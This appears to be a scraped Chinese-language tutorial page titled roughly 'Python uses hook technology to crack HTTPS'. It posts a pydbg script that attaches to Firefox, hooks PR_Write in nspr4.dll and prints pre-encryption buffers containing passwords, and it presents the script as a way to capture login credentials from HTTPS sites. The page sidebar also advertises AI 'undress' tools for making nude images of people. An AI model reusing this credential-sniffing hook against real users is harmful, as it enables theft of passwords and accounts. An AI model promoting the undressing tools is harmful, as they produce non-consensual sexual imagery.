Rumah pembangunan bahagian belakang Tutorial Python python利用hook技术破解https的实例代码

python利用hook技术破解https的实例代码

Jun 06, 2016 am 11:27 AM
hook https

相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:

代码如下:


#!/ur/bin/env python    
from pydbg import *
from pydbg.defines import *

import utils    
import sys    

dbg = pydbg()    
found_firefox = False

pattern = "password"

         
def ssl_sniff( dbg, args ):    
    buffer = ""    
    offset = 0

    while 1:    
        byte = dbg.read_process_memory( args[1] + offset, 1 )    
        if byte != "x00":    
            buffer += byte    
            offset += 1
            continue
        else:    
            break
    if pattern in buffer:    
        print "Pre-Encrypted: %s" % buffer
    return DBG_CONTINUE    
# 寻找firefox.exe的进程    
for (pid, name) in dbg.enumerate_processes():    
    if name.lower() == "firefox.exe":    
        found_firefox = True
        hooks = utils.hook_container()    
        dbg.attach(pid)    
        print "[*] Attaching to firefox.exe with PID: %d" % pid    
# 得到firefox的hook的 address    
        hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")    
        if hook_address:    
# 添加hook的内容,包括他的pid,地址,嗅探类型   

            hooks.add( dbg, hook_address, 2, ssl_sniff, None )    
            print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address    
            break
        else:    
            print "[*] Error: Couldn't resolve hook address."
            sys.exit(-1)    
        if found_firefox:    
            print "[*] Hooks set, continuing process."
            dbg.run()    
        else:    
                print "[*] Error: Couldn't find the firefox.exe process."
                sys.exit(-1)    

if found_firefox:    
    print "[*] Hooks set, continuing process."
    dbg.run()    
else:    
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)

转自:http://world77.blog.bitsCN.com/414605/518679

Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn

Alat AI Hot

Undresser.AI Undress

Undresser.AI Undress

Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover

AI Clothes Remover

Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool

Undress AI Tool

Gambar buka pakaian secara percuma

Clothoff.io

Clothoff.io

Penyingkiran pakaian AI

AI Hentai Generator

AI Hentai Generator

Menjana ai hentai secara percuma.

Artikel Panas

R.E.P.O. Kristal tenaga dijelaskan dan apa yang mereka lakukan (kristal kuning)
2 minggu yang lalu By 尊渡假赌尊渡假赌尊渡假赌
Repo: Cara menghidupkan semula rakan sepasukan
4 minggu yang lalu By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: Cara mendapatkan biji gergasi
4 minggu yang lalu By 尊渡假赌尊渡假赌尊渡假赌

Alat panas

Notepad++7.3.1

Notepad++7.3.1

Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina

SublimeText3 versi Cina

Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1

Hantar Studio 13.0.1

Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6

Dreamweaver CS6

Alat pembangunan web visual

SublimeText3 versi Mac

SublimeText3 versi Mac

Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Cara menggunakan Pengurus Proksi Nginx untuk melaksanakan lompatan automatik dari HTTP ke HTTPS Cara menggunakan Pengurus Proksi Nginx untuk melaksanakan lompatan automatik dari HTTP ke HTTPS Sep 26, 2023 am 11:19 AM

Cara menggunakan NginxProxyManager untuk melaksanakan lompatan automatik dari HTTP ke HTTPS Dengan perkembangan Internet, semakin banyak laman web mula menggunakan protokol HTTPS untuk menyulitkan penghantaran data untuk meningkatkan keselamatan data dan perlindungan privasi pengguna. Memandangkan protokol HTTPS memerlukan sokongan sijil SSL, sokongan teknikal tertentu diperlukan semasa menggunakan protokol HTTPS. Nginx ialah pelayan HTTP yang berkuasa dan biasa digunakan dan pelayan proksi terbalik, dan NginxProxy

Cara menggunakan Pengurus Proksi Nginx untuk melaksanakan proksi terbalik di bawah protokol HTTPS Cara menggunakan Pengurus Proksi Nginx untuk melaksanakan proksi terbalik di bawah protokol HTTPS Sep 26, 2023 am 08:40 AM

Cara menggunakan NginxProxyManager untuk melaksanakan proksi terbalik di bawah protokol HTTPS Dalam beberapa tahun kebelakangan ini, dengan populariti Internet dan kepelbagaian senario aplikasi, kaedah capaian laman web dan aplikasi menjadi semakin kompleks. Untuk meningkatkan kecekapan dan keselamatan akses laman web, banyak tapak web telah mula menggunakan proksi terbalik untuk mengendalikan permintaan pengguna. Proksi terbalik untuk protokol HTTPS memainkan peranan penting dalam melindungi privasi pengguna dan memastikan keselamatan komunikasi. Artikel ini akan memperkenalkan cara menggunakan NginxProxy

Nginx dengan SSL: Konfigurasikan HTTPS untuk melindungi pelayan web anda Nginx dengan SSL: Konfigurasikan HTTPS untuk melindungi pelayan web anda Jun 09, 2023 pm 09:24 PM

Nginx ialah perisian pelayan web berprestasi tinggi dan pelayan proksi terbalik yang berkuasa dan pengimbang beban. Dengan perkembangan pesat Internet, semakin banyak laman web mula menggunakan protokol SSL untuk melindungi data pengguna yang sensitif, dan Nginx juga menyediakan sokongan SSL yang kuat, menjadikan prestasi keselamatan pelayan web lebih jauh. Artikel ini akan memperkenalkan cara mengkonfigurasi Nginx untuk menyokong protokol SSL dan melindungi prestasi keselamatan pelayan web. Apakah protokol SSL? SSL (SecureSocket

Apakah rupa aliran kerja https? Apakah rupa aliran kerja https? Apr 07, 2024 am 09:27 AM

Aliran kerja https termasuk langkah-langkah seperti permintaan yang dimulakan oleh klien, respons pelayan, jabat tangan SSL/TLS, penghantaran data dan pemaparan sisi klien Melalui langkah ini, keselamatan dan integriti data semasa penghantaran dapat dipastikan.

Cara vue3 hook membina semula komponen bekas skrin penuh DataV Cara vue3 hook membina semula komponen bekas skrin penuh DataV May 16, 2023 pm 02:43 PM

Laksanakan penciptaan komponen fullScreenContainer.vueimport{useAutoResize}from'@/hooks/useAutoResize' const{autoBindRef}=useAutoResize(), sesuaikan cangkuk dan eksport fail cangkuk tersuai ref mengikat autoBindRes useAutoResize.tsimport{ref}from' vue' ;exportfunctionuseAutoResize(){l

Bagaimana tembok api Nginx memastikan komunikasi selamat HTTPS Bagaimana tembok api Nginx memastikan komunikasi selamat HTTPS Jun 10, 2023 am 10:16 AM

Dalam era Internet hari ini, komunikasi yang selamat telah menjadi bahagian yang sangat diperlukan. Terutamanya dalam komunikasi HTTPS, cara memastikan keselamatannya amat penting. Sebagai pelayan web popular dan pelayan proksi terbalik, tembok api Nginx juga boleh memainkan peranan penting dalam memastikan komunikasi selamat HTTPS. Artikel ini akan membincangkan tembok api Nginx dari aspek berikut. Penyulitan TLS/SSL Keselamatan komunikasi HTTPS terutamanya berdasarkan teknologi penyulitan TLS/SSL, yang boleh menghalang data daripada dihantar semasa penghantaran.

Cara menggunakan Nginx untuk melaksanakan pengesahan dua hala HTTPS Cara menggunakan Nginx untuk melaksanakan pengesahan dua hala HTTPS Jun 03, 2023 pm 08:38 PM

Perbezaan antara pengesahan sehala dan pengesahan dua hala: Pengesahan sehala: merujuk kepada pelanggan yang mengesahkan sijil sisi pelayan dan pelayan tidak perlu mengesahkan sijil pelanggan. Pengesahan dua hala: merujuk kepada pelanggan yang mengesahkan sijil sisi pelayan, dan pelayan juga perlu mengesahkan sijil pelanggan melalui sijil kunci awam CA. Proses jabat tangan terperinci: Pengesahan sehala Penyemak imbas menghantar permintaan sambungan kepada pelayan keselamatan. 1. Pelayan menghantar sijil sendiri dan maklumat berkaitan sijil kepada pelayar klien. 2. Pelayar klien menyemak sama ada sijil yang dihantar oleh pelayan dikeluarkan oleh pusat CA yang dipercayainya. Jika ya, teruskan melaksanakan perjanjian jika tidak, penyemak imbas pelanggan akan memberi pelanggan mesej amaran: memberi amaran kepada pelanggan bahawa sijil ini tidak boleh dipercayai dan bertanya kepada pelanggan jika ia perlu diteruskan. 3. Ambil pelanggan

Bagaimana untuk mengkonfigurasi https dalam tomcat Bagaimana untuk mengkonfigurasi https dalam tomcat Jan 05, 2024 pm 05:15 PM

Langkah-langkah konfigurasi: 1. Dapatkan sijil SSL; 2. Konfigurasikan sijil SSL 3. Edit fail konfigurasi Tomcat; Pengenalan terperinci: 1. Anda perlu mendapatkan sijil SSL, sama ada sijil yang ditandatangani sendiri atau sijil SSL yang sah daripada agensi pensijilan (seperti Let's Encrypt); 2. Letakkan sijil SSL yang diperolehi dan fail kunci peribadi pada pelayan dan memastikan bahawa fail ini Terletak di lokasi yang selamat, hanya pengguna yang mempunyai kebenaran yang mencukupi boleh mengakses; 3. Edit fail konfigurasi Tomcat, dsb.

See all articles